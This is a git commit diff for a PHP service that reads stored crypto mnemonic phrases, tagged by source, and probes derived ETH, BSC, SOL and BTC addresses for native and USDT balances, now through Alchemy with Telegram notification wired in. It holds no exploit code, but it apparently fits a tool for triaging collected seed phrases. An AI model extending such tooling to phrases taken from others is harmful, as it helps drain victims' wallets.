feat: alchemy
This commit is contained in:
@@ -4,6 +4,7 @@ namespace App\Services;
|
||||
|
||||
use App\Models\WalletAddress;
|
||||
use App\Models\WalletMnemonic;
|
||||
use App\Services\Alchemy\AlchemyBalanceService;
|
||||
use App\Services\Chain\BtcDriver;
|
||||
use App\Services\Chain\ChainDriver;
|
||||
use App\Services\Chain\ChainHttpTimeout;
|
||||
@@ -43,6 +44,7 @@ class MnemonicWalletDiscovery
|
||||
private readonly ChainManager $chains,
|
||||
private readonly TelegramNotifier $telegram,
|
||||
private readonly TokenviewMonitorService $tokenview,
|
||||
private readonly AlchemyBalanceService $alchemy,
|
||||
) {}
|
||||
|
||||
/**
|
||||
@@ -54,9 +56,13 @@ class MnemonicWalletDiscovery
|
||||
}
|
||||
|
||||
/**
|
||||
* @param bool $force Manual trigger (view wallet / refresh): bypass the
|
||||
* discovery_complete flag and the per-chain miss cache
|
||||
* so unlinked chains are always re-probed. Does not
|
||||
* set discovery_complete.
|
||||
* @return int Number of address rows created or updated
|
||||
*/
|
||||
public function discoverActivated(WalletMnemonic $mnemonic): int
|
||||
public function discoverActivated(WalletMnemonic $mnemonic, bool $force = false): int
|
||||
{
|
||||
$phrase = $mnemonic->mnemonic;
|
||||
if ($phrase === null || trim($phrase) === '') {
|
||||
@@ -73,6 +79,11 @@ class MnemonicWalletDiscovery
|
||||
return 0;
|
||||
}
|
||||
|
||||
// Scheduled task: skip mnemonics already fully probed across all chains.
|
||||
if (! $force && (bool) $mnemonic->discovery_complete) {
|
||||
return 0;
|
||||
}
|
||||
|
||||
$linkedChainTypes = WalletAddress::query()
|
||||
->where('mnemonic_id', $mnemonic->id)
|
||||
->pluck('chain_type')
|
||||
@@ -84,30 +95,40 @@ class MnemonicWalletDiscovery
|
||||
|
||||
$source = trim((string) ($mnemonic->source ?: ''));
|
||||
$saved = [];
|
||||
$covered = []; // chain => true when linked / miss-cached / probed this run
|
||||
|
||||
return ChainHttpTimeout::using(self::PROBE_TIMEOUT_SECONDS, function () use ($mnemonic, $phrase, $source, $linkedChainTypes, &$saved) {
|
||||
$created = ChainHttpTimeout::using(self::PROBE_TIMEOUT_SECONDS, function () use ($mnemonic, $phrase, $source, $linkedChainTypes, $force, &$saved, &$covered) {
|
||||
foreach (self::CHAINS as $spec) {
|
||||
if ($this->hasLinkedChain($linkedChainTypes, $spec['chain'])) {
|
||||
$chain = $spec['chain'];
|
||||
|
||||
if ($this->hasLinkedChain($linkedChainTypes, $chain)) {
|
||||
$covered[$chain] = true;
|
||||
continue;
|
||||
}
|
||||
if (Cache::has($this->missCacheKey($mnemonic, $spec['chain']))) {
|
||||
|
||||
// Scheduled runs respect the miss cache; manual force bypasses it.
|
||||
if (! $force && Cache::has($this->missCacheKey($mnemonic, $chain))) {
|
||||
$covered[$chain] = true;
|
||||
continue;
|
||||
}
|
||||
|
||||
try {
|
||||
$rows = $this->discoverChain($mnemonic, $phrase, $source, $spec['chain'], $spec['chain_type']);
|
||||
$rows = $this->discoverChain($mnemonic, $phrase, $source, $chain, $spec['chain_type']);
|
||||
} catch (\Throwable $e) {
|
||||
Log::warning('mnemonic wallet discovery failed: '.$e->getMessage(), [
|
||||
'mnemonic_id' => $mnemonic->id,
|
||||
'chain' => $spec['chain'],
|
||||
'chain' => $chain,
|
||||
]);
|
||||
$this->rememberMiss($mnemonic, $spec['chain']);
|
||||
$this->rememberMiss($mnemonic, $chain);
|
||||
$covered[$chain] = true;
|
||||
|
||||
continue;
|
||||
}
|
||||
|
||||
$covered[$chain] = true;
|
||||
|
||||
if ($rows === []) {
|
||||
$this->rememberMiss($mnemonic, $spec['chain']);
|
||||
$this->rememberMiss($mnemonic, $chain);
|
||||
}
|
||||
foreach ($rows as $row) {
|
||||
$saved[] = $row;
|
||||
@@ -120,6 +141,18 @@ class MnemonicWalletDiscovery
|
||||
|
||||
return count($saved);
|
||||
});
|
||||
|
||||
// Scheduled run: mark complete once every chain has been probed at least once.
|
||||
if (! $force && count($covered) === count(self::CHAINS)) {
|
||||
WalletMnemonic::query()
|
||||
->whereKey($mnemonic->id)
|
||||
->update([
|
||||
'discovery_complete' => true,
|
||||
'discovered_at' => now(),
|
||||
]);
|
||||
}
|
||||
|
||||
return $created;
|
||||
}
|
||||
|
||||
private function missCacheKey(WalletMnemonic $mnemonic, string $chain): string
|
||||
@@ -283,6 +316,17 @@ class MnemonicWalletDiscovery
|
||||
*/
|
||||
private function probeEth(ChainDriver $driver, string $address): array
|
||||
{
|
||||
if ($this->alchemy->isEnabled()) {
|
||||
$result = $this->alchemy->fetch('ETH', $address);
|
||||
if ($result !== null) {
|
||||
return [
|
||||
'activated' => $result['activated'],
|
||||
'coins' => $this->evmCoinsFromAlchemy($result, 'eth'),
|
||||
];
|
||||
}
|
||||
// Alchemy failed → fall through to RPC.
|
||||
}
|
||||
|
||||
if (! $driver->isActivated($address)) {
|
||||
return ['activated' => false, 'coins' => $this->emptyCoins('eth')];
|
||||
}
|
||||
@@ -296,11 +340,42 @@ class MnemonicWalletDiscovery
|
||||
];
|
||||
}
|
||||
|
||||
/**
|
||||
* @param array<string, mixed> $result
|
||||
* @return array<string, string>
|
||||
*/
|
||||
private function evmCoinsFromAlchemy(array $result, string $network): array
|
||||
{
|
||||
$coins = $this->emptyCoins($network);
|
||||
if ($result['native'] !== null) {
|
||||
$coins[$network] = $result['native']['amount'];
|
||||
}
|
||||
foreach ($result['tokens'] as $t) {
|
||||
if (strtoupper((string) ($t['symbol'] ?? '')) === 'USDT') {
|
||||
$coins['usdt'] = $t['amount'];
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
return $coins;
|
||||
}
|
||||
|
||||
/**
|
||||
* @return array{activated: bool, coins: array<string, string>}
|
||||
*/
|
||||
private function probeBsc(ChainDriver $driver, string $address): array
|
||||
{
|
||||
if ($this->alchemy->isEnabled()) {
|
||||
$result = $this->alchemy->fetch('BSC', $address);
|
||||
if ($result !== null) {
|
||||
return [
|
||||
'activated' => $result['activated'],
|
||||
'coins' => $this->evmCoinsFromAlchemy($result, 'bnb'),
|
||||
];
|
||||
}
|
||||
// Alchemy failed → fall through to RPC.
|
||||
}
|
||||
|
||||
try {
|
||||
$bnb = $driver->getNativeBalance($address);
|
||||
} catch (\Throwable $e) {
|
||||
@@ -326,6 +401,7 @@ class MnemonicWalletDiscovery
|
||||
|
||||
private function probeBtc(ChainDriver $driver, string $address): array
|
||||
{
|
||||
// Alchemy has no BTC chain RPC; BTC stays on the BtcDriver.
|
||||
if ($driver instanceof BtcDriver) {
|
||||
$probe = $driver->probeAddress($address);
|
||||
|
||||
@@ -350,6 +426,17 @@ class MnemonicWalletDiscovery
|
||||
*/
|
||||
private function probeSol(ChainDriver $driver, string $address): array
|
||||
{
|
||||
if ($this->alchemy->isEnabled()) {
|
||||
$result = $this->alchemy->fetch('SOL', $address);
|
||||
if ($result !== null) {
|
||||
return [
|
||||
'activated' => $result['activated'],
|
||||
'coins' => $this->solCoinsFromAlchemy($result),
|
||||
];
|
||||
}
|
||||
// Alchemy failed → fall through to SolDriver RPC.
|
||||
}
|
||||
|
||||
try {
|
||||
$sol = $driver->getNativeBalance($address);
|
||||
} catch (\Throwable $e) {
|
||||
@@ -375,6 +462,26 @@ class MnemonicWalletDiscovery
|
||||
];
|
||||
}
|
||||
|
||||
/**
|
||||
* @param array<string, mixed> $result
|
||||
* @return array<string, string>
|
||||
*/
|
||||
private function solCoinsFromAlchemy(array $result): array
|
||||
{
|
||||
$coins = $this->emptyCoins('sol');
|
||||
if ($result['native'] !== null) {
|
||||
$coins['sol'] = $result['native']['amount'];
|
||||
}
|
||||
foreach ($result['tokens'] as $t) {
|
||||
if (strtoupper((string) ($t['symbol'] ?? '')) === 'USDT') {
|
||||
$coins['usdt'] = $t['amount'];
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
return $coins;
|
||||
}
|
||||
|
||||
/**
|
||||
* @param array<string, string> $coins
|
||||
*/
|
||||
|
||||
Reference in New Issue
Block a user